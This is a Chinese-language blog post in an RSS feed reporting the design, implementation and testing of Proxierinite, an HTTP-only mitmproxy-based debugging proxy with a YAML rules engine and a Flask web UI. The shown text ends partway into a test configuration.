<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Erina</title><description>因为你的存在，因为伟大的戏剧正在上演，因为你可以奉献一首诗</description><link>https://blog.erina.top/</link><item><title>Proxierinite项目设计实验报告</title><link>https://blog.erina.top/blog/proxierinite/</link><guid isPermaLink="true">https://blog.erina.top/blog/proxierinite/</guid><description>Proxierinite HTTP 代理系统项目报告 一、需求分析 1.1 项目背景 在接口联调、移动端调试、前后端联合开发、第三方服务依赖验证等场景中，开发人员经常需要观察 HTTP 请求与响应内容，并在不修改业务客户端代码的情况下临时调整请求头、请求参数、响应体或响应状态。例如： 前端需要在后端接口未完成时使用 M...</description><content:encoded># Proxierinite HTTP 代理系统项目报告

## 一、需求分析

### 1.1 项目背景

在接口联调、移动端调试、前后端联合开发、第三方服务依赖验证等场景中，开发人员经常需要观察 HTTP 请求与响应内容，并在不修改业务客户端代码的情况下临时调整请求头、请求参数、响应体或响应状态。例如：

- 前端需要在后端接口未完成时使用 Mock 响应继续开发；
- 测试人员需要模拟接口延迟、异常状态码、重定向等场景；
- 开发人员需要查看真实 HTTP 流量，定位请求参数、响应内容、Header 配置问题；
- 自动化测试需要把代理流量落盘，形成可追溯的 JSONL 测试数据；
- 多个规则需要按优先级组合执行，并支持命中后停止后续规则。

Proxierinite 正是为这类 HTTP 调试与规则化流量处理场景设计的代理工具。根据项目 `README.md` 与 `docs/ARCHITECTURE.md`，该项目基于 mitmproxy 实现 HTTP-only 代理能力，提供 YAML 规则引擎、Flask Web 界面、JSONL 持久化和 Click 命令行入口。

### 1.2 项目要解决的问题

本系统主要解决以下问题：

1. HTTP 流量可视化问题  
   通过代理服务器捕获请求和响应，把请求方法、URL、Host、Header、Body、状态码、响应耗时、响应内容等信息展示到 Web 页面，并提供详情查看、搜索、清空和导出功能。

2. 接口行为可控问题  
   通过 YAML 配置规则，对请求阶段和响应阶段分别执行动作。例如设置或移除 Header、改写 URL、设置查询参数、替换请求体、替换 JSON 响应字段、Mock 响应、延迟响应、短路响应等。

3. 自动化测试与问题追踪问题  
   通过 `--save` 参数把捕获到的流量保存为 JSONL 文件，便于离线分析、回放比对和测试结果留存。

4. 配置质量控制问题  
   通过配置验证器检查 YAML 结构、规则字段、动作类型、文件依赖和继承关系，避免系统启动后因规则错误导致代理行为不可预期。

5. 调试入口统一问题  
   系统同时提供命令行入口与 Python API。用户既可以通过 `uv run python -m proxierinite start` 直接运行，也可以在测试脚本中通过 `ProxyServer.start_async()` 启动代理进程。

### 1.3 技术实现路线

系统主要采用以下技术实现：

| 技术 | 在系统中的作用 |
| --- | --- |
| Python 3.12+ | 主体开发语言 |
| mitmproxy 12.2.3 | 提供 HTTP 代理监听、流量生命周期 Hook、请求响应对象 |
| Flask 3.0.0 | 提供 Web UI 页面与 REST/SSE API |
| Flask-CORS | 允许前端接口跨域访问 |
| Click | 构建命令行工具 |
| Rich | 美化命令行输出 |
| PyYAML | 读取和解析 YAML 规则配置 |
| JSONL | 流量持久化格式 |
| Server-Sent Events | Web 页面实时接收流量与统计更新 |
| threading / Queue | Web UI 后台更新队列、并发状态保护 |

### 1.4 需要解决的关键技术问题

1. 代理流量生命周期管理  
   mitmproxy 的 `requestheaders()`、`request()`、`response()`、`error()` Hook 触发时机不同。系统需要保证请求头已到达但请求体未完成时也能生成流量记录，避免 POST/PUT 上传中断时前端没有任何记录。

2. 请求与响应准确关联  
   同一 URL 可能同时存在多个 pending 请求。系统使用 mitmproxy flow id 作为首要关联键，再回退到 request id 和 URL，降低并发场景下响应错绑风险。

3. 规则匹配与执行顺序  
   规则需要支持启用状态、优先级、Host/URL/方法/关键字匹配、请求阶段动作、响应阶段动作和 `stop_after_match`。系统通过 `Rule` 对象归一化配置，并按优先级排序执行。

4. Web UI 不阻塞代理主路径  
   如果代理 Hook 中直接序列化并更新 Web 数据，可能影响请求响应速度。系统通过 `WebInterface.update_traffic_data()` 把更新投递到后台队列，由 UI worker 线程异步处理。

5. 大文件、二进制与流式内容处理  
   图片、视频、音频、大文件和 chunked 流不适合直接按文本展示。系统根据 Content-Type、Transfer-Encoding、Content-Length 和内容启发式判断内容类型，生成摘要或小体积预览。

6. HTTP-only 边界控制  
   项目文档明确系统只处理明文 HTTP 代理流量，不实现 HTTPS CONNECT 隧道。`ProxyAddon.http_connect()` 会返回 405，避免用户误以为系统支持 HTTPS 解密代理。

## 二、系统设计

### 2.1 总体分层设计

系统可以划分为五层：

| 层次 | 对应模块 | 主要职责 |
| --- | --- | --- |
| 用户入口层 | `cli.py`、`__main__.py`、Python API | 接收启动、停止、状态、初始化、验证、示例管理等用户操作 |
| 代理协调层 | `proxy_server.py` | 创建 mitmproxy DumpMaster，安装 ProxyAddon，启动 WebInterface，管理生命周期 |
| 规则处理层 | `rules_engine.py`、`action_processors.py`、`global_variables.py` | 加载 YAML，匹配规则，执行请求/响应动作，处理模板变量 |
| 展示服务层 | `web_interface.py`、`templates/index.html` | 提供 Web 页面、REST API、SSE 实时流、导出和预览 |
| 基础支撑层 | `config_validator.py`、`utils/*`、`exceptions.py` | 配置验证、网络工具、Header 工具、流量序列化、异常类型 |

### 2.2 系统架构图

```mermaid
flowchart TB
    User[用户/测试人员] --&gt; CLI[CLI 命令行入口&lt;br/&gt;proxierinite.cli]
    User --&gt; API[Python API&lt;br/&gt;ProxyServer]
    User --&gt; Browser[浏览器 Web UI]

    CLI --&gt; Server[ProxyServer&lt;br/&gt;运行时协调器]
    API --&gt; Server

    Server --&gt; Mitm[mitmproxy DumpMaster&lt;br/&gt;HTTP 代理监听]
    Server --&gt; Web[WebInterface&lt;br/&gt;Flask Web 服务]
    Server --&gt; Engine[RulesEngine&lt;br/&gt;YAML 规则引擎]

    Mitm --&gt; Addon[ProxyAddon&lt;br/&gt;mitmproxy Hook 处理器]
    Addon --&gt; Engine
    Engine --&gt; Processor[ActionProcessorManager&lt;br/&gt;动作处理器集合]
    Processor --&gt; Vars[GlobalVariableManager&lt;br/&gt;全局变量/模板变量]

    Addon --&gt; Traffic[(内存流量记录&lt;br/&gt;traffic_data)]
    Addon --&gt; JSONL[(JSONL 持久化文件)]
    Traffic --&gt; Web
    Web --&gt; Browser

    Validator[ConfigValidator / ConfigAnalyzer] --&gt; Engine
    CLI --&gt; Validator
```

### 2.3 系统流程图

```mermaid
sequenceDiagram
    participant C as HTTP Client
    participant M as mitmproxy Listener
    participant A as ProxyAddon
    participant R as RulesEngine
    participant W as WebInterface
    participant S as Upstream Server
    participant F as JSONL File

    C-&gt;&gt;M: 发送 HTTP 请求
    M-&gt;&gt;A: requestheaders()
    A-&gt;&gt;A: 创建 pending 流量记录
    A-&gt;&gt;W: 异步推送 pending 记录

    M-&gt;&gt;A: request()
    A-&gt;&gt;A: 读取请求体并分析内容类型
    A-&gt;&gt;R: apply_request_rules()
    R--&gt;&gt;A: 返回修改后的请求/命中规则

    alt 请求阶段 short_circuit
        A--&gt;&gt;C: 直接返回构造响应
        A-&gt;&gt;W: 推送 completed 记录
        A-&gt;&gt;F: 写入 JSONL
    else 正常代理
        A-&gt;&gt;S: 转发修改后的请求
        S--&gt;&gt;A: 返回响应
        M-&gt;&gt;A: response()
        A-&gt;&gt;R: apply_response_rules()
        R--&gt;&gt;A: 返回修改后的响应
        A-&gt;&gt;A: 更新状态码、响应体、耗时、规则信息
        A-&gt;&gt;W: 推送 completed 记录
        A-&gt;&gt;F: 写入 JSONL
        A--&gt;&gt;C: 返回最终响应
    end

    opt 代理错误
        M-&gt;&gt;A: error()
        A-&gt;&gt;W: 推送 error 记录
        A-&gt;&gt;F: 写入错误记录
    end
```

### 2.4 模块与功能设计

#### 2.4.1 命令行模块

命令行模块位于 `proxierinite/cli.py`，使用 Click 定义命令组。主要命令包括：

| 命令 | 功能 |
| --- | --- |
| `start` | 启动 HTTP 代理和 Web UI，支持前台或后台模式 |
| `stop` | 停止后台进程 |
| `status` | 查看后台进程运行状态 |
| `init` | 创建默认配置文件 |
| `validate` | 分析并验证配置文件 |
| `examples` | 管理内置规则示例 |
| `info` | 输出版本与作者信息 |

#### 2.4.2 代理协调模块

代理协调模块位于 `proxierinite/proxy_server.py`。其中：

- `ProxyServer` 负责创建 `RulesEngine`、`WebInterface` 和 `ProxyAddon`；
- `ProxyAddon` 负责处理 mitmproxy Hook，记录流量、调用规则引擎、推送 Web 更新和保存 JSONL；
- 默认代理端口为 `8001`，默认 Web UI 端口为 `8002`；
- 启动时固定监听 `0.0.0.0`，便于局域网设备配置代理。

#### 2.4.3 规则引擎模块

规则引擎位于 `proxierinite/rules_engine.py`。设计要点：

- YAML 配置支持 `capture` 与 `rules` 两个核心顶层字段；
- 支持配置继承 `extends`；
- 每条规则包含 `name`、`enabled`、`priority`、`match`、`request_pipeline`、`response_pipeline`；
- 规则按 `priority` 从高到低执行；
- 请求阶段使用 Host 精确索引与 Path 前缀索引提升筛选效率；
- 响应阶段按规则优先级全量遍历，并通过响应关联的请求对象做匹配。

#### 2.4.4 动作处理模块

动作处理模块位于 `proxierinite/action_processors.py`，通过统一的 `ActionProcessor` 抽象定义动作处理接口。已内置的动作包括：

| 动作 | 请求阶段 | 响应阶段 | 功能 |
| --- | --- | --- | --- |
| `set_header` | 支持 | 支持 | 设置 Header |
| `remove_header` | 支持 | 支持 | 移除 Header |
| `rewrite_url` | 支持 | 不支持 | URL 字符串替换 |
| `redirect` | 支持 | 不支持 | 请求重定向 |
| `replace_body` | 支持 | 支持 | 文本内容替换 |
| `set_query_param` | 支持 | 不支持 | 修改 URL 查询参数 |
| `set_body_param` | 支持 | 不支持 | 修改表单或 JSON 请求体 |
| `set_status` | 不支持 | 支持 | 设置响应状态码 |
| `replace_body_json` | 不支持 | 支持 | 按路径修改 JSON 字段 |
| `mock_response` | 不支持 | 支持 | 构造 Mock 响应 |
| `delay` | 不支持 | 支持 | 延迟响应 |
| `short_circuit` | 支持 | 支持 | 短路返回 |
| `conditional` | 不支持 | 支持 | 根据响应条件执行分支动作 |
| `set_variable` | 支持 | 支持 | 设置全局变量 |
| `remove_json_field` | 不支持 | 支持 | 删除 JSON 字段 |

#### 2.4.5 Web 展示模块

Web 展示模块位于 `proxierinite/web_interface.py`，使用 Flask 提供页面和 API。主要接口如下：

| 接口 | 方法 | 功能 |
| --- | --- | --- |
| `/` | GET | Web 流量页面 |
| `/api/traffic` | GET | 获取当前流量列表 |
| `/api/export` | GET | 导出 JSON、JSONL 或 CSV |
| `/api/stats` | GET | 获取统计数据 |
| `/api/stream/traffic` | GET | SSE 实时流量推送 |
| `/api/stream/stats` | GET | SSE 实时统计推送 |
| `/api/meta` | GET | 获取代理运行元信息 |
| `/api/clear` | POST | 清空流量记录 |
| `/api/request/&lt;id&gt;` | GET | 获取单条请求详情 |
| `/api/preview/&lt;id&gt;` | GET | 获取小体积二进制预览 |
| `/api/hosts` | GET | 获取可访问 Web 基址 |

#### 2.4.6 配置验证模块

配置验证模块位于 `proxierinite/config_validator.py`。`ConfigValidator` 负责基础结构校验，`ConfigAnalyzer` 负责更完整的配置分析，包括继承链、规则来源、动作统计和文件依赖检查。CLI 的 `validate` 命令调用该模块输出分析报告。

## 三、系统实现

### 3.1 启动入口实现

项目通过 `pyproject.toml` 暴露命令行脚本：

```toml
[project.scripts]
proxierinite = &quot;proxierinite.cli:cli&quot;
```

模块启动入口 `proxierinite/__main__.py` 调用同一个 Click 命令组，因此以下两种方式等价：

```bash
uv run proxierinite --help
uv run python -m proxierinite --help
```

`cli.py` 中 `start` 命令负责接收代理端口、Web 端口、配置文件、保存路径、静默模式和后台模式参数：

```python
@cli.command()
@click.option(&quot;--port&quot;, default=8001, help=&quot;代理服务端口&quot;)
@click.option(&quot;--web-port&quot;, default=8002, help=&quot;Web 界面端口&quot;)
@click.option(&quot;--config&quot;, default=None, help=&quot;配置文件路径&quot;)
@click.option(&quot;--save&quot;, &quot;save_path&quot;, default=None, help=&quot;保存请求数据到文件（jsonl）&quot;)
@click.option(&quot;--silent&quot;, &quot;-s&quot;, is_flag=True, help=&quot;静默模式，不输出任何信息&quot;)
@click.option(&quot;--daemon&quot;, &quot;-d&quot;, is_flag=True, help=&quot;后台模式启动&quot;)
def start(port: int, web_port: int, config: str, save_path: str | None, silent: bool, daemon: bool):
    &quot;&quot;&quot;启动代理服务器&quot;&quot;&quot;
    ...
```

说明：该入口把用户命令转换为 `ProxyServer` 的运行参数。后台模式会启动子进程并写入 PID 文件，便于后续 `status` 和 `stop` 管理。

### 3.2 代理服务器启动实现

`ProxyServer` 是系统运行时协调器，构造函数中完成规则引擎、Web 界面和 mitmproxy Addon 的装配：

```python
class ProxyServer:
    &quot;&quot;&quot;代理服务器主类&quot;&quot;&quot;

    def __init__(
        self,
        config_path: str | None = None,
        save_path: str | None = None,
        silent: bool = False,
    ):
        self.config_path = config_path or default_config_path()
        self.save_path = save_path
        self.silent = silent
        self.rules_engine = RulesEngine(self.config_path, silent=self.silent)
        self.web_interface = WebInterface()
        self.addon = ProxyAddon(
            self.rules_engine,
            self.web_interface,
            save_path=save_path,
            silent=self.silent,
            config_path=self.config_path,
        )
        self.web_interface.register_clear_traffic_handler(
            self.addon.clear_traffic_state
        )
```

`start()` 方法配置 mitmproxy 监听参数，并启动 Flask Web 服务：

```python
opts = options.Options(
    listen_host=host,
    listen_port=port,
    http2=False,
)

self.web_interface.start(web_port, host=web_host, silent=self.silent)

async def _run_master():
    self.master = DumpMaster(opts)
    self.master.addons.add(self.addon)
    await self.master.run()

asyncio.run(_run_master())
```

说明：mitmproxy 的 `DumpMaster` 是代理事件循环核心，`ProxyAddon` 被注册到 `master.addons` 后即可接收请求、响应、错误等生命周期事件。

### 3.3 请求头阶段记录实现

系统在 `requestheaders()` 阶段就创建最小流量记录：

```python
def requestheaders(self, flow: http.HTTPFlow) -&gt; None:
    &quot;&quot;&quot;
    在仅收到请求头时就创建最小记录。

    mitmproxy 的 request() 要等到整个请求体读完才会触发；
    对带 body 的普通 POST，如果中途被客户端取消/断开，request() 可能根本不会触发。
    &quot;&quot;&quot;
    request_info = self._ensure_request_tracking_row(flow, log_capture_skip=True)
    if not request_info:
        return
    self._emit_pending_jsonl_once(request_info)
    self.web_interface.update_traffic_data(
        self.traffic_data, changed=request_info
    )
```

说明：该设计解决了大请求体、上传中断或客户端提前断开时没有记录的问题。系统先产生 `pending` 状态，后续在 `request()` 或 `response()` 中补全请求体与响应信息。

### 3.4 请求阶段处理实现

`request()` 负责读取请求体、识别内容类型、执行请求规则、处理短路响应和推送 Web 更新：

```python
def request(self, flow: http.HTTPFlow) -&gt; None:
    request_info = self._ensure_request_tracking_row(flow)
    if request_info is None:
        return

    request_body = self._safe_message_content(flow.request)
    content_type = (get_header_value(flow.request.headers, &quot;content-type&quot;) or &quot;&quot;).lower()
    transfer_encoding = (get_header_value(flow.request.headers, &quot;transfer-encoding&quot;) or &quot;&quot;).lower()
    content_length = get_header_value(flow.request.headers, &quot;content-length&quot;) or &quot;&quot;

    is_multipart = content_type.startswith(&quot;multipart/form-data&quot;)
    is_binary = any(
        t in content_type
        for t in [&quot;video/&quot;, &quot;audio/&quot;, &quot;image/&quot;, &quot;application/octet-stream&quot;]
    )

    request_info.update(
        {
            &quot;headers&quot;: dict(flow.request.headers),
            &quot;content&quot;: content_info,
            &quot;content_size&quot;: len(request_body) if request_body else 0,
            &quot;is_multipart&quot;: is_multipart,
            &quot;is_binary&quot;: is_binary,
            &quot;request_fully_received&quot;: True,
        }
    )

    modified_request, applied_rule_names = (
        self.rules_engine.apply_request_rules(flow.request)
    )
```

如果请求规则触发 `short_circuit`，系统会直接设置 `flow.response`，不再访问上游服务：

```python
sc_resp = getattr(flow.request, &quot;short_circuit_response&quot;, None)
if sc_resp is not None:
    flow.response = sc_resp
    flow.response.headers[&quot;X-Short-Circuit&quot;] = &quot;true&quot;
    request_info.update(
        {
            &quot;status&quot;: &quot;completed&quot;,
            &quot;response_status&quot;: flow.response.status_code,
            &quot;response_headers&quot;: dict(flow.response.headers),
            &quot;response_content&quot;: flow.response.get_text(strict=False),
            &quot;response_time&quot;: 0,
        }
    )
```

说明：短路响应适合用于接口 Mock、异常模拟和离线测试。

### 3.5 响应阶段处理实现

`response()` 负责把响应与请求记录关联，执行响应规则，分析响应内容，计算耗时，处理延迟，并最终写入 Web UI 与 JSONL：

```python
def response(self, flow: http.HTTPFlow) -&gt; None:
    if not flow.metadata.get(&quot;proxierinite_capture&quot;):
        return

    end_time = time.time()
    request_info = self._find_traffic_row_for_flow(flow)

    orig_resp_headers = dict(flow.response.headers)
    _orig = self._analyze_response_content(
        orig_resp_headers, flow.response.content
    )

    setattr(flow.response, &quot;request&quot;, flow.request)
    modified_response = self.rules_engine.apply_response_rules(flow.response)
    if modified_response:
        flow.response = modified_response
        request_info[&quot;response_modified&quot;] = True
        request_info[&quot;response_original_headers&quot;] = orig_resp_headers
        request_info[&quot;response_original_content&quot;] = _orig[&quot;preview&quot;]
```

最终记录更新示例：

```python
request_info.update(
    {
        &quot;status&quot;: &quot;completed&quot;,
        &quot;response_status&quot;: flow.response.status_code,
        &quot;response_headers&quot;: dict(flow.response.headers),
        &quot;response_content&quot;: response_content_info,
        &quot;response_content_size&quot;: (
            len(flow.response.content) if flow.response.content else 0
        ),
        &quot;response_time&quot;: (end_time - flow.request.timestamp_start),
        &quot;response_timestamp&quot;: datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;),
    }
)

self.web_interface.update_traffic_data(
    self.traffic_data, changed=request_info
)
self._maybe_persist(request_info)
```

说明：响应阶段是规则处理结果最终落地的位置。系统会保留原始响应摘要，便于 Web 页面进行规则修改前后对比。

### 3.6 HTTP-only 限制实现

系统明确不支持 HTTPS CONNECT 隧道。实现代码如下：

```python
def http_connect(self, flow: http.HTTPFlow) -&gt; None:
    &quot;&quot;&quot;HTTP-only 模式：拒绝隧道请求。&quot;&quot;&quot;
    flow.response = http.Response.make(
        405,
        b&quot;Tunnel requests are not supported by this HTTP-only proxy.\n&quot;,
        {&quot;Content-Type&quot;: &quot;text/plain; charset=utf-8&quot;},
    )
```

说明：这与项目文档中的部署模型一致，即只处理明文 HTTP 代理流量。

### 3.7 规则加载与匹配实现

`RulesEngine.load_rules()` 从 YAML 文件读取配置、处理继承、验证规则、构造 `Rule` 对象，并按优先级排序：

```python
def load_rules(self) -&gt; None:
    config_path = Path(self.config_path)
    if not config_path.exists():
        self.create_default_config()

    with open(config_path, encoding=&quot;utf-8&quot;) as f:
        config = yaml.safe_load(f)

    if &quot;extends&quot; in config:
        config = self._resolve_extends(config, config_path.parent)

    self.rules = []
    config_dir = str(config_path.parent)
    for idx, rule_config in enumerate(config.get(&quot;rules&quot;, [])):
        self._validate_rule_config(rule_config, idx)
        rule = Rule(rule_config, config_dir)
        self.rules.append(rule)

    self.rules.sort(key=lambda x: x.priority, reverse=True)
```

请求规则执行时先根据 Host 和 Path 索引筛选候选规则，再按优先级执行：

```python
def apply_request_rules(
    self, request: http.Request
) -&gt; tuple[http.Request | None, list[str]]:
    candidates: list[Rule] = []
    host_l = request.pretty_host.lower() if hasattr(request, &quot;pretty_host&quot;) else &quot;&quot;
    path = request.path if hasattr(request, &quot;path&quot;) else &quot;&quot;

    if host_l in self._host_index:
        candidates.extend(self._host_index[host_l])

    for prefix, rules in self._path_index.items():
        if path.startswith(prefix):
            candidates.extend(rules)

    candidates.extend(self._generic_rules)

    for rule in ordered:
        if rule.match(request):
            modified_request, actions = rule.apply_request_actions(request)
            if modified_request is not None:
                result_request = modified_request
                applied_rule_names.append(rule.name)
                if rule.stop_after_match:
                    break
```

说明：索引设计减少了每个请求都全量扫描规则的成本，同时保留通用规则作为兜底。

### 3.8 动作处理器实现

动作处理器基类规定统一接口：

```python
class ActionProcessor(ABC):
    @property
    @abstractmethod
    def action_name(self) -&gt; str:
        pass

    @abstractmethod
    def process_request(self, request: http.Request, params: dict[str, Any]) -&gt; bool:
        pass

    @abstractmethod
    def process_response(self, response: http.Response, params: dict[str, Any]) -&gt; bool:
        pass
```

以设置 Header 为例：

```python
class SetHeaderProcessor(ActionProcessor):
    @property
    def action_name(self) -&gt; str:
        return &quot;set_header&quot;

    def process_request(self, request: http.Request, params: dict[str, Any]) -&gt; bool:
        modified = False
        for k, v in (params or {}).items():
            request.headers[k] = v
            modified = True
        return modified

    def process_response(self, response: http.Response, params: dict[str, Any]) -&gt; bool:
        modified = False
        for k, v in (params or {}).items():
            response.headers[k] = v
            modified = True
        return modified
```

动作分发由 `ActionProcessorManager` 完成：

```python
def process_request_action(
    self, action: str, request: http.Request, params: dict[str, Any]
) -&gt; bool:
    processor = self.get_processor(action)
    if processor:
        return processor.process_request(request, params)
    return False

def process_response_action(
    self, action: str, response: http.Response, params: dict[str, Any]
) -&gt; bool:
    processor = self.get_processor(action)
    if processor:
        return processor.process_response(response, params)
    return False
```

说明：该结构使新增动作比较简单，只需要新增一个 `ActionProcessor` 子类并注册到管理器。

### 3.9 JSON 响应修改实现

`replace_body_json` 支持通过点路径修改 JSON 字段：

```python
class ReplaceBodyJsonProcessor(ActionProcessor):
    def process_response(self, response: http.Response, params: dict[str, Any]) -&gt; bool:
        if not response.content:
            response.headers[&quot;X-ReplaceBodyJson-Error&quot;] = &quot;No content&quot;
            return False

        processed_params = process_template_dict(params or {})
        content_str = response.content.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;) or &quot;null&quot;
        obj = json.loads(content_str)

        if &quot;path&quot; in processed_params and &quot;value&quot; in processed_params:
            _set_deep(obj, processed_params[&quot;path&quot;], processed_params[&quot;value&quot;])
        elif &quot;values&quot; in processed_params:
            for path, value in processed_params[&quot;values&quot;].items():
                _set_deep(obj, path, value)

        response.content = json.dumps(obj, ensure_ascii=False).encode(&quot;utf-8&quot;)
        return True
```

说明：该功能适合在不改后端服务的情况下临时修正响应字段，或模拟特定业务状态。

### 3.10 Web UI 更新实现

`WebInterface` 在构造时创建后台队列和 worker 线程：

```python
self._traffic_queue: Queue[TrafficQueueItem] = Queue(maxsize=0)
self._traffic_worker = threading.Thread(
    target=self._traffic_worker_loop,
    daemon=True,
    name=&quot;proxierinite-traffic-ui&quot;,
)
self._traffic_worker.start()
```

代理层调用 `update_traffic_data()` 时不直接修改前端数据，而是把更新投递到队列：

```python
def update_traffic_data(
    self,
    traffic_data: list[dict[str, Any]],
    changed: dict[str, Any] | None = None,
):
    &quot;&quot;&quot;将流量更新投递到后台线程，避免阻塞代理主路径。&quot;&quot;&quot;
    with self._traffic_lock:
        gen = self._traffic_clear_gen
    if changed is not None:
        self._traffic_queue.put((&quot;upsert&quot;, copy.deepcopy(changed), gen))
    else:
        rows = [dict(r) for r in (traffic_data or [])]
        self._traffic_queue.put((&quot;replace_all&quot;, rows, gen))
```

worker 线程负责真实更新内存列表，并向 SSE 订阅者推送：

```python
def _traffic_worker_loop(self) -&gt; None:
    while True:
        item = self._traffic_queue.get()
        if item is None:
            break
        op, payload, gen = item
        with self._traffic_lock:
            if gen != self._traffic_clear_gen:
                continue
            if op == &quot;upsert&quot;:
                row_for_sse = self._worker_apply_upsert_locked(payload)
            elif op == &quot;replace_all&quot;:
                row_for_sse = self._worker_apply_replace_all_locked(payload)
        self._publish_traffic_sse_after_mutation(op, row_for_sse)
        self._publish_stats_sse()
```

说明：通过队列异步处理 UI 更新，可以避免代理 Hook 被 Web 序列化或 SSE 推送拖慢。

### 3.11 Web API 实现

`/api/traffic` 返回当前内存流量记录：

```python
@self.app.route(&quot;/api/traffic&quot;)
def get_traffic():
    limit = request.args.get(&quot;limit&quot;, 100, type=int)
    with self._traffic_lock:
        if limit &gt; 0:
            limit = min(max(limit, 1), 500)
            filtered_data = list(self.traffic_data[-limit:])
        else:
            filtered_data = list(self.traffic_data)
        total = len(self.traffic_data)
    return jsonify(
        {
            &quot;data&quot;: [record_for_json_output(dict(r)) for r in filtered_data],
            &quot;total&quot;: total,
            &quot;timestamp&quot;: datetime.now().strftime(&quot;%Y-%m-%d %H:%M:%S&quot;),
        }
    )
```

`/api/export` 支持导出 JSON、JSONL 和 CSV：

```python
@self.app.route(&quot;/api/export&quot;)
def export_traffic():
    fmt = (request.args.get(&quot;format&quot;) or &quot;json&quot;).lower()
    limit = request.args.get(&quot;limit&quot;, type=int)
    ...
    if fmt == &quot;jsonl&quot;:
        ...
    elif fmt == &quot;csv&quot;:
        ...
    else:
        out_rows = [record_for_json_output(r) for r in data]
        return Response(
            json.dumps(out_rows, ensure_ascii=False),
            mimetype=&quot;application/json&quot;,
            headers={&quot;Content-Disposition&quot;: &apos;attachment; filename=&quot;traffic.json&quot;&apos;},
        )
```

### 3.12 配置验证实现

`ConfigValidator.validate_config()` 统一输出验证结果：

```python
def validate_config(
    self, config: dict[str, Any], config_path: str | None = None
) -&gt; dict[str, Any]:
    self.validation_errors = []
    self.validation_warnings = []

    result = {&quot;valid&quot;: True, &quot;errors&quot;: [], &quot;warnings&quot;: [], &quot;suggestions&quot;: []}

    self._validate_basic_structure(config)

    if &quot;capture&quot; in config:
        self._validate_capture_config(config[&quot;capture&quot;])

    if &quot;rules&quot; in config:
        self._validate_rules_config(config[&quot;rules&quot;], config_path)

    if &quot;extends&quot; in config:
        self._validate_extends_config(config[&quot;extends&quot;], config_path)

    result[&quot;errors&quot;] = self.validation_errors
    result[&quot;warnings&quot;] = self.validation_warnings
    result[&quot;valid&quot;] = len(self.validation_errors) == 0

    return result
```

说明：配置验证将启动前的错误尽早暴露，包括缺失字段、类型错误、未知字段、动作参数错误和文件引用不存在等。

## 四、系统测试

### 4.1 测试环境

| 项目 | 内容 |
| --- | --- |
| 操作系统 | Linux / Nix 环境 |
| 项目路径 | `/home/era/Documents/Proxierinite` |
| Python 要求 | Python 3.12+ |
| 依赖管理 | uv |
| 代理端口 | 8001 |
| Web 端口 | 8002 |
| 测试日期 | 2026-06-22 |
| 主要依赖 | mitmproxy 12.2.3、Flask 3.0.0、Click 8.1.7、PyYAML 6.0.1 |

安装与准备命令：

```bash
cd /home/era/Documents/Proxierinite
uv sync
```

### 4.2 CLI 命令可用性测试

测试目的：验证命令行入口是否能正常加载，命令是否完整注册。

测试命令：

```bash
uv run python -m proxierinite --help
```

实际结果：

```text
Usage: python -m proxierinite [OPTIONS] COMMAND [ARGS]...

  代理服务器命令行工具

Options:
  -v, --verbose  详细输出
  --version      Show the version and exit.
  --help         Show this message and exit.

Commands:
  examples  管理规则示例
  info      显示版本信息
  init      初始化代理服务器配置
  start     启动代理服务器
  status    查看服务器状态
  stop      停止后台运行的服务器
  validate  验证和分析配置文件
```

测试结论：CLI 能正常启动，`examples`、`info`、`init`、`start`、`status`、`stop`、`validate` 命令均已注册。

![CLI help 输出](01-cli-help.png)


### 4.3 示例列表功能测试

测试目的：验证系统可以读取内置规则示例，便于用户复制或学习规则配置。

测试命令：

```bash
uv run python -m proxierinite examples --list
```

实际结果摘要：

| 示例文件 | 描述 |
| --- | --- |
| `01_set_header.yaml` | 设置请求头示例 |
| `02_remove_header.yaml` | 移除请求/响应头示例 |
| `03_rewrite_url.yaml` | URL 重写示例 |
| `04_set_query_param.yaml` | 设置查询参数示例 |
| `05_set_body_param.yaml` | 设置请求体参数示例 |
| `06_replace_body.yaml` | 替换请求/响应体示例 |
| `07_replace_body_json.yaml` | 精确修改 JSON 响应体示例 |
| `08_mock_response.yaml` | Mock 响应示例 |
| `09_delay.yaml` | 响应延迟示例 |
| `10_conditional.yaml` | 条件执行示例 |
| `11_short_circuit.yaml` | 短路响应示例 |
| `12_match_conditions.yaml` | 匹配条件示例 |
| `13_priority_stop_after_match.yaml` | 优先级和停止匹配示例 |
| `14_complex_workflows.yaml` | 复杂工作流示例 |
| `15_global_variables.yaml` | 全局变量示例 |
| `16_global_variables_complete.yaml` | 全局变量完整示例 |
| `17_remove_json_field.yaml` | 移除 JSON 字段示例 |
| `config_examples.yaml` | Config Examples |

测试结论：示例文件读取正常，覆盖了主要动作处理器和高级规则功能。

![examples --list 输出](02-examples-list.png)

### 4.4 配置验证反向测试

测试目的：验证配置验证器能够识别结构不完整的配置。

测试命令：

```bash
uv run python -m proxierinite validate proxierinite/examples/01_set_header.yaml
```

实际结果摘要：

```text
配置验证:
----------------------------------------
❌ 配置无效
错误 (1 个):
  ❌ 缺少必需的配置字段: capture

规则分析:
----------------------------------------
总规则数: 2
启用规则数: 2

动作类型统计:
  set_header: 2 次
```

测试结论：验证器正确识别出示例文件缺少顶层 `capture` 字段，同时仍能继续分析规则数量与动作类型。

![配置验证反向测试输出](03-validate-invalid-config.png)

### 4.5 完整示例配置分析测试

测试目的：验证配置分析器能够输出规则统计、动作统计和文件依赖信息。

测试命令：

```bash
uv run python -m proxierinite validate proxierinite/examples/config_examples.yaml
```

实际结果摘要：

```text
配置验证:
----------------------------------------
❌ 配置无效
错误 (3 个):
  ❌ 规则 8.response_pipeline[0].params.file 引用的文件不存在
  ❌ 规则 11.response_pipeline[0] 缺少 params 字段
  ❌ 规则 13.response_pipeline[0] 缺少 params 字段

规则分析:
----------------------------------------
总规则数: 16
启用规则数: 9

动作类型统计:
  set_header: 5 次
  remove_header: 1 次
  rewrite_url: 1 次
  set_query_param: 1 次
  set_body_param: 1 次
  replace_body_json: 1 次
  mock_response: 3 次
  set_status: 1 次
  delay: 1 次
  conditional: 2 次
  short_circuit: 1 次
```

测试结论：配置分析器不仅能判断配置有效性，还能输出动作统计和文件依赖错误，便于定位规则配置问题。

![完整配置分析输出](04-validate-config-examples.png)

### 4.6 代理启动功能测试

测试目的：验证代理服务和 Web 服务可以按指定端口启动。

测试配置文件建议：创建 `test-config.yaml`，内容如下：

```yaml
capture:
  include:
    hosts:
      - &quot;^.*$&quot;
  enable_streaming: false
